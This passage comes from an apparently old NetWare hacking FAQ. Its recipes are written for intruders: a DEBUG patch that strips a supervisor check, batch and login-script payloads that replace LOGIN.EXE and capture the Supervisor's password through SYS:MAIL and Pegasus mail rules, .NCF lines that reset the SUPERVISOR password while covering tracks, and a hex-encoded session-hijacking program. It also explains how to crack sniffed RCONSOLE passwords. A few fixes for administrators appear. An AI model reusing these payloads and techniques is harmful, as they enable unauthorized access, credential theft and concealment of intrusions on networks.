  4427.   2222..22..  HHooww ccaann II sseeee hhiiddddeenn ffiilleess aanndd ddiirreeccttoorriieess??
  4428.  
  4429.   Instead of a normal DIR command, use NDIR to see hidden files and
  4430.   directories. NDIR *.* /S /H will show you just Hidden and System
  4431.   files.
  4432.  
  4433.  
  4434.   2222..33..  HHooww ddoo II ddeeffeeaatt tthhee eexxeeccuuttee--oonnllyy ffllaagg??
  4435.  
  4436.   If a file is flagged as execute-only, it can still be opened. Open the
  4437.   file with a program that will read in executables, and do a Save As to
  4438.   another location.
  4439.  
  4440.   Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't.
  4441.   But once again X-AWAY.EXE requires Supervisor access.
  4442.  
  4443.   To disable the check for Supe access in X-AWAY, try the following:
  4444.  
  4445.  
  4446.           REN X-AWAY.EXE WORK
  4447.           DEBUG WORK
  4448.           EB84 EB
  4449.           W
  4450.           Q
  4451.           REN WORK X-AWAY.EXE
  4452.  
  4453.  
  4454.  
  4455.   Hey presto, anybody can copy X flagged files. The only catch is you
  4456.   need practically full rights in the directory where the X flagged file
  4457.   resides.
  4458.  
  4459.  
  4460.   2222..44..  HHooww ccaann II hhiiddee mmyy pprreesseennccee aafftteerr aalltteerriinngg ffiilleess??
  4461.  
  4462.   The best way is to use Filer. Here are the steps for removing file
  4463.   alterations -
  4464.  
  4465.  
  4466.   +o  Run Filer or use NDIR and note the attributes of the target file,
  4467.      namely the date and owner of the file.
  4468.  
  4469.   +o  Make your changes or access the file.
  4470.  
  4471.   +o  Run Filer or use NDIR and check to see if the attributes have
  4472.      changed. If so, change them back to the original settings.
  4473.  
  4474.   While you can hit F1 will in Filer and get all the context-sensitive
  4475.   help you need, the quicky way to get where you're going is to run
  4476.   Filer in the target file's directory, select Directory Contents,
  4477.   highlight the target file and hit enter, select File Options and then
  4478.   View/Set File Information. View and edit to your heart's desire.
  4479.  
  4480.  
  4481.   2222..55..  WWhhaatt iiss aa NNeettwwaarree--aawwaarree ttrroojjaann??
  4482.  
  4483.   A Netware-aware trojan is a program that supposedly does one thing but
  4484.   does another instead, and does it using Netware API calls. I have
  4485.   never personally encountered one, but here is how they would work.
  4486.  
  4487.  
  4488.  
  4489.   +o  Trojan program is placed on a workstation, hopefully on one
  4490.      frequented by admins with Supe rights. The trojan program could be
  4491.      named something like CHKVOL.COM or VOLINFO.COM, that is a real name
  4492.      but with a .COM extension. They would be placed in the
  4493.      workstation's path.
  4494.  
  4495.   +o  Once executed, the trojan uses API calls to determine if the person
  4496.      is logged in as a Supe equivalent, if not it goes to the next step.
  4497.      Otherwise some type of action to breach security is performed.
  4498.  
  4499.   +o  The real CHKVOL.EXE or VOLINFO.EXE is ran.
  4500.  
  4501.   The breach of security would typically be some type of command-line
  4502.   activity that could be performed by system() calls. For example,
  4503.   PROP.EXE could be run to build a property and the replacement
  4504.   LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW
  4505.   access granted to the SYS:SYSTEM directory for a non-Supe user like
  4506.   GUEST.
  4507.  
  4508.   Once activated the trojan could also erase itself since it is no
  4509.   longer needed.
  4510.  
  4511.  
  4512.   2222..66..  WWhhaatt aarree TTrruusstteeee DDiirreeccttoorryy AAssssiiggnnmmeennttss??
  4513.  
  4514.   The LAN God has pointed out quite correctly that Trustee Directory
  4515.   Assignments are the most misunderstood and misconfigured portion of
  4516.   Novell Netware. Typically a secure site should have Read and File Scan
  4517.   only in most directories, and should not have any rights on the root
  4518.   directory of any volume. Rights assigned via the Trustee Directory
  4519.   Assignments filter down the directory tree, so if a user has Write
  4520.   access at the root directory, that user has Write access in every
  4521.   subdirectory below it (unless explicitly limited in a subdirectory
  4522.   down stream). And these assignments are not located in the bindery,
  4523.   but on each volume.
  4524.  
  4525.   The following is a brief description of Trustees and Trustee Directory
  4526.   Assignments cut and pasted from the comp.os.netware.security FAQ:
  4527.  
  4528.   [quote] A trustee is any user or group that has been granted access
  4529.   rights in a directory.
  4530.  
  4531.   The access rights in Novell NetWare 2 are slightly different from the
  4532.   ones in NetWare 3.
  4533.  
  4534.   The following is a summary of access rights for NetWare 3.
  4535.  
  4536.   S - Supervisory. Any user with supervisory rights in a directory will
  4537.   automatically inherit all other rights, regardless of whether they
  4538.   have been explicitly granted or not. Supervisor equivalent accounts
  4539.   will hold this access right in every directory.
  4540.  
  4541.   R - Read. Enables users to read files.
  4542.  
  4543.   C - Create. Enables users to create files and directories. Unless they
  4544.   also have write access, they will not be able to edit files which have
  4545.   been created.
  4546.  
  4547.   W - Write. Enables users to make changes to files. Unless they also
  4548.   have create access, they may not be able to edit files, since the
  4549.   write operation can only be used to extend files (not truncate them,
  4550.   which file editors need to do).
  4551.  
  4552.   E - Erase. Enable users to erase files and remove directories.
  4553.  
  4554.  
  4555.   M - Modify. Enable users to modify file attributes.
  4556.  
  4557.   F - File scan. Enables users to see file and directory information. If
  4558.   a user does not have file scan rights, they will not see any evidence
  4559.   of such files existing.
  4560.  
  4561.   A - Access control. Enable user to change trustee rights. They will be
  4562.   able to add other users as trustees, remove trustees, and grant/revoke
  4563.   specific rights from users. The only caveat of access control is that
  4564.   it is possible for users to remove themselves (as trustees) from
  4565.   directories, thus losing all access control.
  4566.  
  4567.   In addition to trustees and access rights, there is a concept of
  4568.   inherited rights which means that users inherit rights from parent
  4569.   directories. For example, if user ALICE has rights [CWEM] in a
  4570.   directory, and she has [RF] rights in the parent directory then she
  4571.   will have [RCWEMF] rights as a result of the inherited rights. This
  4572.   will only work if one of the rights that ALICE has in the two
  4573.   directories is granted to a group; if both are granted to her, she
  4574.   will lose the rights of the parent. [end quote]
  4575.  
  4576.  
  4577.   2222..77..  AArree tthheerree aannyy ddeeffaauulltt TTrruusstteeee AAssssiiggnnmmeennttss tthhaatt ccaann bbee
  4578.   eexxppllooiitteedd??
  4579.  
  4580.   Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL.
  4581.   This means the user (including GUEST) has the ability to write files
  4582.   to any subdirectory in SYS:MAIL. The first versions of Netware
  4583.   included a simple e-mail package, and every user that is created gets
  4584.   a subdirectory in mail with RCWEMF, named after their object ID
  4585.   number. One consistent number is the number 1, which is always
  4586.   assigned to Supervisor. Here's one way to exploit it:
  4587.  
  4588.  
  4589.  
  4590.  
  4591.  
  4592.  
  4593.  
  4594.  
  4595.  
  4596.  
  4597.  
  4598.  
  4599.  
  4600.  
  4601.  
  4602.  
  4603.  
  4604.  
  4605.  
  4606.  
  4607.  
  4608.  
  4609.  
  4610.  
  4611.  
  4612.  
  4613.  
  4614.  
  4615.  
  4616.  
  4617.  
  4618.  
  4619.  
  4620.  
  4621.   Trick #1
  4622.   --------
  4623.  
  4624.   - Login as GUEST and change to the SYS:MAIL subdirectory.
  4625.   - Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that
  4626.     directory (ex. here is C0003043)
  4627.   - Type DIR. If there is no file named LOGIN, you can bet there may not be one for
  4628.     Supervisor. If there is a default-looking LOGIN file, even a zero length file, you
  4629.     cannot proceed.
  4630.   - Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
  4631.   - Create a batch file (ex. here is BOMB.BAT) with the following entries:
  4632.  
  4633.     @ECHO OFF
  4634.     FLAG \LOGIN\LOGIN.EXE N > NUL
  4635.     COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  4636.     FLAG \LOGIN\LOGIN.EXE SRO > NUL
  4637.     \MAIL\C0003043\PROP -C > NUL
  4638.  
  4639.   - Create a LOGIN file with the following entries:
  4640.  
  4641.     MAP DISPLAY OFF
  4642.     MAP ERRORS OFF
  4643.     MAP G:=SYS:
  4644.     DRIVE G:
  4645.     COMMAND /C #\MAIL\1\BOMB
  4646.     DRIVE F:
  4647.     MAP DELETE G:
  4648.  
  4649.   - Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to
  4650.     the SYS: volume.
  4651.  
  4652.     TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
  4653.     TYPE LOGIN > \MAIL\1\LOGIN
  4654.  
  4655.   - The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE
  4656.     file is run, capturing passwords. Run PROP.EXE later to get the passwords, and
  4657.     then once you have all the passwords you need (including Supervisor) delete your
  4658.     LOGIN and BOMB.BAT file.
  4659.  
  4660.  
  4661.  
  4662.   Admins can defeat this by creating default personal Login Scripts or
  4663.   by adding an EXIT command to the end of the System Login Script. Later
  4664.   versions of Netware create a zero-length LOGIN file at ID creation
  4665.   time in the SYS:MAIL directories to defeat this.
  4666.  
  4667.  
  4668.  
  4669.  
  4670.  
  4671.  
  4672.  
  4673.  
  4674.  
  4675.  
  4676.  
  4677.  
  4678.  
  4679.  
  4680.  
  4681.  
  4682.  
  4683.  
  4684.  
  4685.  
  4686.  
  4687.   Trick #2
  4688.   --------
  4689.  
  4690.   Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
  4691.   to use it:
  4692.  
  4693.   - Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a
  4694.     mail message. The program Run line should be something like:
  4695.  
  4696.       COMMAND /C F:\MAIL\1\BOMB.BAT
  4697.  
  4698.   - Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE
  4699.     (the itsme version) to that directory.
  4700.  
  4701.   - Your BOMB.BAT file should be like this:
  4702.  
  4703.     @ECHO OFF
  4704.     FLAG \LOGIN\LOGIN.EXE N > NUL
  4705.     COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  4706.     FLAG \LOGIN\LOGIN.EXE SRO > NUL
  4707.     \MAIL\C0003043\PROP -C > NUL
  4708.  
  4709.   - When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing
  4710.     passwords. After acquiring a Supe equiv account, delete the rogue files from
  4711.     SYS:MAIL\1
  4712.  
  4713.  
  4714.  
  4715.   This Pegasus mail problem will only work if the RULES.PMQ does not
  4716.   exist in the target directory.
  4717.  
  4718.  
  4719.   Trick #2a
  4720.   ---------
  4721.  
  4722.   If the RULES.PMQ file exists, obviously you cannot do this. After all, you can
  4723.   only create new files to these directories. But here's a way to try and trick
  4724.   the Supe into deleting it for you:
  4725.  
  4726.   - Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through
  4727.     RULER.PMQ, and RULET.PMQ through RULEZ.PMQ.
  4728.   - Next time the Supe logs in and accesses mail, errors.
  4729.   - The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.
  4730.   - Now do Trick #2
  4731.  
  4732.  
  4733.  
  4734.  
  4735.   2222..88..  WWhhaatt aarree ssoommee ggeenneerraall wwaayyss ttoo eexxppllooiitt TTrruusstteeee RRiigghhttss??
  4736.  
  4737.   To find out all your trustee rights, use the WHOAMI /R command. The
  4738.   following section is a summary of what rights to expect, and the
  4739.   purpose. Where x appears, it means it doesn't matter if the right is
  4740.   set.
  4741.  
  4742.  
  4743.  
  4744.  
  4745.  
  4746.  
  4747.  
  4748.  
  4749.  
  4750.  
  4751.  
  4752.  
  4753.   [SRWCEMFA] means you have FULL rights. They are all eight of the effective
  4754.           rights flags.
  4755.  
  4756.   [Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
  4757.           It means you have full access in that directory and all subdirectories.
  4758.           You cannot be excluded from any directory, even if a user explicitly
  4759.           tries to revoke your access in a subdirectory.
  4760.  
  4761.   [xxxxxxxA] is next best thing to the S right. It means you have access
  4762.           control in that directory and all subdirectories. You can have your
  4763.           access control (along with any other rights) revoked in a subdirectory,
  4764.           but you can always use inherited rights to recover them (see the
  4765.           c.o.n.s FAQ).
  4766.  
  4767.   [ R    F ] is what users should have in directories containing software.
  4768.           You have the right to read files only.
  4769.  
  4770.   [ RCWEMFx] is what users should have in their home directory. You can read,
  4771.           create, and edit files. If you find any unusual directories with
  4772.           these rights, they can also be used for storing files (maybe an abuse
  4773.           of the network, especially if this is exploited to avoid quota
  4774.           systems).
  4775.  
  4776.   [ RxW  F ] usually means that the directory is used for keeping log files.
  4777.           Unless you have the C right, it may not be possible to edit files in
  4778.           this directory.
  4779.  
  4780.  
  4781.   The RIGHTS commands tells you what rights you have in a particular
  4782.   directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.
  4783.  
  4784.  
  4785.   2222..99..  CCaann aacccceessss ttoo ..NNCCFF ffiilleess hheellpp mmee??
  4786.  
  4787.   Access to any .NCF file can bypass security, as these files are
  4788.   traditionally run from the console and assume the security access of
  4789.   the console. The addition of a few lines to any .NCF file can get you
  4790.   access to that system.
  4791.  
  4792.   The most vulnerable file would be the AUTOEXEC.NCF file. Adding a
  4793.   couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get
  4794.   you access. But remember there are other .NCF files that can be used
  4795.   and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start
  4796.   and stop Arcserve, the most popular backup system for Netware. The
  4797.   LDREMOTE.NCF as mentioned in section 04-2 is another potential target.
  4798.  
  4799.   The lines you might add to such a file might be as follows:
  4800.  
  4801.  
  4802.   UNLOAD CONLOG
  4803.   LOAD SETPWD SUPERVISOR SECRET
  4804.   CLS
  4805.   LOAD CONLOG
  4806.  
  4807.  
  4808.  
  4809.   This assumes you had read/write access to the location of the .NCF
  4810.   file and can copy SETPWD.NLM to the server. Note that by unloading
  4811.   CONLOG you are only partially covering your tracks, in the CONSOLE.LOG
  4812.   file it will be obvious that CONLOG was unloaded and reloaded. The CLS
  4813.   is to keep your activities off of the server's screen.
  4814.  
  4815.   The best .NCF for this is obviously one that is either used during the
  4816.   server's boot process or during some automated process. This way a
  4817.   short .NCF and its activities may escape the eyes of an admin during
  4818.   execution.
  4819.   2222..1100..  CCaann ssoommeeoonnee tthhiinnkk tthheeyy''vvee llooggggeedd oouutt aanndd II wwaallkk uupp aanndd ttaakkee
  4820.   oovveerr??
  4821.  
  4822.   Yes. Here's how -
  4823.  
  4824.   Type the following commands at the DOS prompt (or rip them out of this
  4825.   file, and feed them into DOS debug).
  4826.  
  4827.  
  4828.   debug boo.com
  4829.   e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
  4830.   e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
  4831.   e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
  4832.   e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
  4833.   e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
  4834.   rcx
  4835.   50
  4836.   w
  4837.   q
  4838.  
  4839.  
  4840.  
  4841.   Just run it on a workstation running NetWare 2.x or 3.x, and wait for
  4842.   someone to login, use the machine, logout, and walk away. Oops. They
  4843.   forgot to logout? Now, isn't that just *bad* luck...
  4844.  
  4845.   Moral: If you are using a public network (such as a school or
  4846.   university), don't just use LOGOUT. Switch the machine OFF.
  4847.  
  4848.  
  4849.   2222..1111..  WWhhaatt ootthheerr NNoovveellll aanndd tthhiirrdd ppaarrttyy pprrooggrraammss hhaavvee hhoolleess tthhaatt
  4850.   ggiivvee ""ttoooo mmuucchh aacccceessss""??
  4851.  
  4852.   Netware NFS has several bugs, as does IntraNetware.
  4853.  
  4854.   For remote access, hackers always want a Shiva hooked up. You see, if
  4855.   a hacker gets a name from the internal name list, they may not need a
  4856.   user ID and password for a Novell server. If a Shiva user disconnects
  4857.   without logging out, the next person in will be in as that person --
  4858.   Shiva doesn't drop the connection!
  4859.  
  4860.  
  4861.   2222..1122..  HHooww ccaann II ggeett aarroouunndd ddiisskk ssppaaccee rreeqquuiirreemmeennttss??
  4862.  
  4863.   Some admins forget to implement disk space restrictions on some
  4864.   volumes, but give write access to everyone. This allows you to use
  4865.   more resources than the supe intended.
  4866.  
  4867.   Some systems keep user's home directories on one volume, and only
  4868.   restrict disk space on that one volume. Applications and system files
  4869.   will be kept on other volumes. Since some applications require write
  4870.   access to their directories, if the volume space is not limited, any
  4871.   user capable of running the program can use the extra disk space
  4872.   available (an e-mail program like Microsoft Mail on it's own volume
  4873.   leaps to mind). If space isn't limited on SYS, on 3.x there is the
  4874.   SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object
  4875.   ID), but this is not there by default in 4.x. However if Pegasus mail
  4876.   is being used, or if the server was migrated from 3.x to 4.x, the
  4877.   directory structure and access may be the same.
  4878.  
  4879.  
  4880.   2222..1133..  HHooww ddoo II rreemmootteellyy rreebboooott aa NNeettwwaarree 33..xx ffiillee sseerrvveerr??
  4881.  
  4882.   If you have access to a server via RCONSOLE it may come in handy after
  4883.   loading or unloading an NLM to reboot a server. Build an NCF file by
  4884.   doing the following steps -
  4885.   - Create a file called DOWNBOY.NCF on your local drive. It should be a text file
  4886.     and contain the following lines:
  4887.  
  4888.           REMOVE DOS
  4889.           DOWN
  4890.           EXIT
  4891.  
  4892.   - Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
  4893.   - At the System Console prompt, type DOWNBOY and enter.
  4894.  
  4895.  
  4896.  
  4897.   What happens is this - the REMOVE DOS statement frees up the DOS
  4898.   section in server RAM, the server is downed (if there are open files,
  4899.   you will be given one of those "are you sure" messages, answer Y for
  4900.   yes), and the EXIT command tries to return the server console to DOS.
  4901.   But since you removed DOS from RAM, the server is warm booted.
  4902.  
  4903.  
  4904.   2222..1144..  WWhhaatt iiss NNeettwwaarree NNFFSS aanndd iiss iitt sseeccuurree??
  4905.  
  4906.   NFS (Networked File System) is used primarily in Unix to remotely
  4907.   mount a different file system. Its primary purpose in Netware is to
  4908.   allow the server to mount a Unix file system as a Netware volume,
  4909.   allowing Netware users access to Unix data without running IP or
  4910.   logging into the server, and Unix users to mount a Netware volume as a
  4911.   remote file system. If the rights are set up incorrectly you can gain
  4912.   access to a server.
  4913.  
  4914.   While the product works as described, it is a little hard to
  4915.   administer, as user accounts on both sides must be in sync (name and
  4916.   password) and it can be a fairly manual process to ensure that they
  4917.   are, unless the versions are Netware NFS 2.1 or greater with Netware
  4918.   4.x AND the Unix side is NOT running NIS. Simply adding the proper UID
  4919.   to the NDS object to create a relationship for rights to be passed
  4920.   back and forth. There are three modes -- Unix is God, Netware is God,
  4921.   or both are right.
  4922.  
  4923.   A reported problem with Netware NFS is that after unloading and
  4924.   reloading using the .NCF files, a system mount from the Unix side
  4925.   includes SYS:ETC read only access. If this directory can be looked at
  4926.   from the Unix side after a mount, .NCF and .CFG files could be viewed
  4927.   and their information exploited. For example, SYS:ETC is a possible
  4928.   location of LDREMOTE.NCF, which could include the RCONSOLE password.
  4929.  
  4930.   On Netware 3.11 if you ask the portmapper for an NFS handle it will
  4931.   give you one. When you give NFS the file handle it will check its
  4932.   LOCAL portmapper and then grant the request. You can then read any
  4933.   file on the mount you just made.
  4934.  
  4935.   Netware NFS' existence on a server says you have some Unix boxes
  4936.   around somewhere, which may be of interest as another potential system
  4937.   to gain access to.
  4938.  
  4939.  
  4940.   2222..1155..  CCaann ssnniiffffiinngg ppaacckkeettss hheellpp mmee bbrreeaakk iinnttoo NNeettwwaarree sseerrvveerrss??
  4941.  
  4942.   Yes. If a user is logging in and the password is being transmitted to
  4943.   the server unencrypted, it will show up as plain text in the trace. If
  4944.   the site uses telnet and ftp, capturing those password will come in
  4945.   handy. Outside of gaining access to another system, many users will
  4946.   make their passwords the same across all systems.
  4947.  
  4948.   RCONSOLE.EXE is the client-launched application that provides a remote
  4949.   server console to a Novell Netware file server. The connection between
  4950.   client and server allows administrators to manage servers as if they
  4951.   were at the physical server console from their desks, and allow
  4952.   virtually any action that would be performed at the server console to
  4953.   be performed remotely, including execution of console commands,
  4954.   uploading of files to the server, and the unloading and loading of
  4955.   Netware Loadable Modules (NLMs). It is not only an effective tool for
  4956.   administrators, it is a prime target for hackers.
  4957.  
  4958.   A critical point of access to many servers is the actual physical
  4959.   console. This is one of the main reasons why physical security of the
  4960.   server is so important and stressed by security conscious
  4961.   administrators. On many systems you have a level of access with little
  4962.   to no security. Netware is no exception.
  4963.  
  4964.   The main reason to hack RCONSOLE is to gain access to the Netware
  4965.   server console. No, you aren't physically there, but the OS doesn't
  4966.   know any different. And the main reason to gain access to the Netware
  4967.   server console is to utilize a tool to gain Supervisor access to the
  4968.   Netware server.
  4969.  
  4970.   During the RCONSOLE process, the password does come across the wire
  4971.   encrypted. If you look at the conversation you will see packets
  4972.   containing the RCONSOLE.EXE being opened, the possible servers to be
  4973.   accessed, etc. This conversation is nothing but NCP packets.
  4974.  
  4975.   Once RCONSOLE is up on the workstation, the user chooses the server,
  4976.   hits enter, and is prompted for a password. After entering the
  4977.   password, the conversation contains two 60 byte IPX/SPX packets going
  4978.   back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64
  4979.   bytes, and 310 bytes in length respectively. The next IPX/SPX packet,
  4980.   186 bytes in length, contains the password. It is located at offset
  4981.   3Ah, which is easy to find. Offset 38h is always FE and offset 39h is
  4982.   always FF.
  4983.  
  4984.   Now comes the use of a tool called RCON.EXE from itsme that can take
  4985.   some of the information you have collected and turn it into the
  4986.   password.  What you need are the first 8 hex bytes starting at offset
  4987.   3Ah, the network address, and the node address. Now the network and
  4988.   node address are in the header of the packet that contains the
  4989.   encrypted password, but can also get these by typing USERLIST /A which
  4990.   returns this info (and more) for each person logged in.
  4991.  
  4992.   Now why just the first 8 hex bytes? That's all Novell uses. Great
  4993.   encryption scheme, huh?
  4994.  
  4995.  
  4996.   2222..1166..  WWhhaatt eellssee ccaann ssnniiffffiinngg aarroouunndd NNeettwwaarree ggeett mmee??
  4997.  
  4998.   It has pointed out that RCONSOLE sends screens in plaintext across the
  4999.   network for all to see (well, all with sniffers). This means you can
  5000.   see what is being typed in and what is happening on the screen. While
  5001.   it is not the prettiest stuff to look at, occassional gems are
  5002.   available. The best gem? The RCONSOLE password. The server had been
  5003.   brought up without REMOTE and RSPX being loaded, they were loaded by
  5004.   hand at the console after the server was brought up. The first
  5005.   RCONSOLE session brought up the screen with the lines LOAD REMOTE and
  5006.   LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and
  5007.   this was being sent to the RCONSOLE user's workstation in plaintext.
  5008.  
  5009.   Teiwaz discovered that SYSCON sends password changes in plaintext.
  5010.   While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x,
  5011.   SYSCON does not.
  5012.  
  5013.   Einer kindly reminded me that sniffing will show other usernames and
  5014.   passwords such as TELNET, FTP, POP3, and others. Often users use the
  5015.   same passwords from system to system, so these passwords could be used
  5016.   to try on the Netware accounts. In large shops, the administrators of
  5017.   Netware may also have the same passwords for privileged accounts from
  5018.   system to system, so the Admin or Supervisor account may match the
  5019.   root account on a Unix box. Therefore a TELNET session that contains
  5020.   an su to root might reveil the Admin password.
  5021.  
  5022.  
  5023.   2222..1177..  DDoo aannyy NNeettwwaarree uuttiilliittiieess hhaavvee hhoolleess lliikkee UUnniixx uuttiilliittiieess??
  5024.  
  5025.   This is a fairly common question, inspired by stack overrun errors,
  5026.   sendmail bugs, and the like that exist in the Unix world. The reason
  5027.   you do not have these kind of exploits in common Netware utilities is
  5028.   because:
  5029.  
  5030.  
  5031.   +o  You use a proprietary shell that can be loaded without accessing
  5032.      the server, therefore no shell exploits exist.
  5033.  
  5034.   +o  Virtually all Netware utilities do NOT use stdin and stdout, so no
  5035.      stack overruns that exploit anything.
  5036.  
  5037.   +o  Since the shell is run locally, not on the server, you have no way
  5038.      to use a utility to gain greater access than you have been granted,
  5039.      like a SUID script in Unix.
  5040.  
  5041.   +o  Yes there are utilities like HACK.EXE that grant extra access under
  5042.      certain conditions in 3.11, but no Novell-produced utility comes
  5043.      close to granting extra access.
  5044.  
  5045.  
  5046.   2222..1188..  WWhheerree ccaann II ggeett tthhee NNeettwwaarree AAPPIIss??
  5047.  
  5048.   Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user
  5049.   license of Netware 4.1. Most brand-name compilers will work, but if
  5050.   you're writing NLMs you'll need Watcom's latest. It's the only one I
  5051.   know of that will do NLM linking.
  5052.  
  5053.  
  5054.   2222..1199..  AArree tthheerree aalltteerrnnaattiivveess ttoo NNeettwwaarree''ss AAPPIIss??
  5055.  
  5056.   There are a few. Here is info on them -
  5057.  
  5058.   Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows
  5059.   development of NLMs and DOS EXEs using a Visual Basic type development
  5060.   environment. Runtime royalty-free development without C/C++ and
  5061.   without Watcom. However links are included for C/C++ programs. The
  5062.   full SDK including compilers is USD$895.00. Pricey but looks good, I
  5063.   have not used this product. Novell recently bought/licensed this
  5064.   product so the availability may have changed.
  5065.  
  5066.   Adrian Cunnelly recently made his C libs for Netware free. You can
  5067.   reach him at adrian@amcsoft.demon.co.uk.  These include the source
  5068.   code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip
  5069.  
  5070.   And take a look at Greg Miller's site, especially for those Pascal
  5071.   coders out there at http://www.users.mis.net/ gregmi/.
  5072.  
  5073.   Pandora v3.0 includes its own API, the Pandora Toolbox API, written by
  5074.   Jitsu-Disk. While the project was intended for hackers and not admins,
  5075.   some coders might find it to be a useful package. It is available at
  5076.   http://www.nmrc.org/pandora/index.html
  5077.   <http://www.nmrc.org/pandora/index.html>.
  5078.  
  5079.   The "GNU Novell Client" project gives a unique insight on the NCP
  5080.   protocol, it can be downloaded at
  5081.   http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz
  5082.   <http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz>.
  5083.   It has tons of source code included.
  5084.  
  5085.  
  5086.   2222..2200..  HHooww ccaann II rreemmoovvee NNDDSS??
  5087.  
  5088.   This one is dangerous. This one will get you your Admin account back
  5089.   if you lost the password, and is not for the light-hearted if you plan
  5090.   on actually using NDS afterwards. Do this at a 4.1 console:
  5091.  
  5092.   LOAD INSTALL -DSREMOVE
  5093.  
  5094.   Now in the INSTALL module, go ahead and try to remove NDS. As a part
  5095.   of the process, it will ask you for the Admin password, get this, JUST
  5096.   MAKE ONE UP. If you get errors, no problem. Keep going and you can
  5097.   remove NDS from the server. Even though you gave it the wrong
  5098.   password, it will still let you remove NDS. I told you this one is
  5099.   real wicked...
  5100.  
  5101.  
  5102.   2222..2211..  WWhhaatt aarree sseeccuurriittyy ccoonnssiiddeerraattiioonnss rreeggaarrddiinngg ppaarrttiittiioonnss ooff tthhee
  5103.   ttrreeee??
  5104.  
  5105.   Most of this is covered as individual items, but here is a bit
  5106.   regarding partitioning of the tree.
  5107.  
  5108.   As mentioned in the password section, you can set the bindery context
  5109.   of a server to help you recover a lost ADMIN password. It should be
  5110.   noted that you can only access containers in the current servers
  5111.   partition.
  5112.  
  5113.   With larger networks things get more complex. For example, a
  5114.   "supervisor" account (one with full access to the file system) may
  5115.   have limited access on another server. The number of possible leaks
  5116.   for intruders grows with the size of the network.
  5117.  
  5118.   A hacker could exploit this and gain control of other partitions, if
  5119.   any object in the first partition they have compromised has access
  5120.   rights to other directory partitions. Intruders could easily give
  5121.   themselves security equivalence to that object, or change that objects
  5122.   password with SYSCON, then login as that object and access the other
  5123.   partitions.
  5124.  
  5125.   In other words, if a read/write or master partition is stored on one
  5126.   server, its supervisor can potentially manage all objects in this
  5127.   partition, and since its supervisor's password can be reset from the
  5128.   console, other partitions are at risk.
  5129.  
  5130.   Read/only replicas of partitions by nature will not allow you to set
  5131.   your bindery context to a container in that area -- they are, duh,
  5132.   read only. Of course the brave can disconnect the server from the
  5133.   network, and run DSREPAIR on that server to change the partition to
  5134.   master, but that's rather extreme.
  5135.  
  5136.   Novell recommends trying to restrict object rights to their own
  5137.   partition and to create replica partitions only on trusted server.
  5138.   Let's use an example to illustrate:
  5139.  
  5140.  
  5141.   +o  Server ACCOUNTING has lots of spreadsheets, documents, and a
  5142.      database used by the accounting department with all kinds of
  5143.      information. The container ACCT-USERS has the IRF set so that they
  5144.      manage themselves.
  5145.  
  5146.   +o  There is an account called MAINTENANCE in the ACCT-USERS container
  5147.      that the manager of accounting can reset the password. This is done
  5148.      when the LAN administrators need to perform any kind of
  5149.      maintenance, such as building IDs with tricky access rights, etc.
  5150.      that the accounting manager doesn't know how to do.
  5151.  
  5152.   +o  A read/write replica of the partition containing the ACCT-USERS
  5153.      container exists on a server across town in a small sales office. A
  5154.      temporary office clerk hired from a local temp agency has access to
  5155.      the storage closet where this server is kept.
  5156.  
  5157.   +o  One afternoon the temporary uses SETPWD.NLM and resets the
  5158.      MAINTENANCE account password.
  5159.  
  5160.   +o  The next day (after replication) the temporary rifles through all
  5161.      accounting documents which include payroll and personal
  5162.      information, sales forecasts, future plans for capital expenditure,
  5163.      etc.
  5164.  
  5165.  
  5166.   2222..2222..  CCaann aa ddeeppaarrttmmeenntt ""SSuuppee"" bbeeccoommee aa rreegguullaarr AAddmmiinn ttoo tthhee eennttiirree
  5167.   ttrreeee??
  5168.  
  5169.   Yes, under certain conditions. Here is an example.
  5170.  
  5171.  
  5172.   +o  The tree has an OU called LAWDEPT.
  5173.  
  5174.   +o  The Admin account is at the root of the tree.
  5175.  
  5176.   +o  A departmental supervisor account called FRED is located in LAWDEPT
  5177.      with Admin rights to the LAWDEPT OU (a Trustee of LAWDEPT and supe
  5178.      rights to objects and properties).
  5179.  
  5180.   +o  Server LawServer is in the LAWDEPT OU with two bindery contexts,
  5181.      one in the LAWDEPT OU and one at the root (so Admin can login via
  5182.      the bindery if needed)
  5183.  
  5184.   +o  Although FRED only has browse at the root, he can run SYSCON and
  5185.      modify the Admin account to gain more access, like say the
  5186.      password.
  5187.  
  5188.   +o  If FRED is a psychopath, he can delete the Admin account and render
  5189.      tree management useless.
  5190.  
  5191.  
